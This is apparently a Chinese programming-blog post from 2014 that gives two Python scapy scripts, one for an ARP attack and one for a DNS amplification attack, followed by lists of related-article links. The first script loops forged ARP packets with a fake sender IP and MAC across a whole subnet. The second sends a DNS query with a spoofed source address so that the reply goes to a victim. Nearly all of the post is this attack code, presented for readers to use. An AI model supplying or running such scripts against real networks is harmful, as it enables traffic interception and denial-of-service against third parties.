Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
Python列表计数及插入实例
Dec 17 Python
在Python中操作列表之List.append()方法的使用
May 20 Python
深入了解Python中pop和remove的使用方法
Jan 09 Python
python取代netcat过程分析
Feb 10 Python
Python抓取聚划算商品分析页面获取商品信息并以XML格式保存到本地
Feb 23 Python
Python DataFrame.groupby()聚合函数,分组级运算
Sep 18 Python
用Python配平化学方程式的方法
Jul 20 Python
10分钟教你用python动画演示深度优先算法搜寻逃出迷宫的路径
Aug 12 Python
浅谈Python协程
Jun 17 Python
Python3.9.1中使用match方法详解
Feb 08 Python
一劳永逸彻底解决pip install慢的办法
May 24 Python
Python之基础函数案例详解
Aug 30 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
利用php来自动调用不同服务器上的flash
2006/10/09 PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
2010/04/22 PHP
php定时执行任务设置详解
2015/02/06 PHP
PHP模板引擎Smarty内建函数section,sectionelse用法详解
2016/04/11 PHP
php中的钩子理解及应用实例分析
2019/08/30 PHP
解决laravel session失效的问题
2019/10/14 PHP
ExtJS4 表格的嵌套 rowExpander应用
2014/05/02 Javascript
JavaScript中isPrototypeOf函数作用和使用实例
2015/06/01 Javascript
Javascript从数组中随机取出不同元素的两种方法
2016/09/22 Javascript
jquery操作checkbox火狐下第二次无法勾选的解决方法
2016/10/10 Javascript
jQuery+vue.js实现的九宫格拼图游戏完整实例【附源码下载】
2017/09/12 jQuery
Vue2.0基于vue-cli+webpack父子组件通信(实例讲解)
2017/09/14 Javascript
Vue中v-for的数据分组实例
2018/03/07 Javascript
[55:44]完美世界DOTA2联赛决赛 FTD vs Phoenix 第二场 11.08
2020/11/11 DOTA
举例讲解Linux系统下Python调用系统Shell的方法
2015/11/07 Python
利用python实现微信头像加红色数字功能
2018/03/26 Python
python自动登录12306并自动点击验证码完成登录的实现源代码
2018/04/25 Python
Python中文件的读取和写入操作
2018/04/27 Python
python微信公众号之关键词自动回复
2018/06/15 Python
Django管理员账号和密码忘记的完美解决方法
2018/12/06 Python
PyCharm中代码字体大小调整方法
2019/07/29 Python
适合Python初学者的一些编程技巧
2020/02/12 Python
python在协程中增加任务实例操作
2021/02/28 Python
StubHub意大利:购买和出售全球演唱会和体育赛事门票
2017/11/21 全球购物
如何在.net Winform里面显示PDF文档
2012/09/11 面试题
大学生应聘推荐信范文
2013/11/19 职场文书
大学学习生活感言
2014/01/18 职场文书
迎八一活动主题
2014/01/31 职场文书
通信研究生自荐信
2014/02/01 职场文书
求职信需要的五点内容
2014/02/01 职场文书
元旦晚会感言
2014/03/12 职场文书
高中校园广播稿
2014/10/21 职场文书
暖春观后感
2015/06/08 职场文书
感恩教育主题班会
2015/08/12 职场文书
基于Python实现将列表数据生成折线图
2022/03/23 Python
Pytorch中expand()的使用(扩展某个维度)
2022/07/15 Python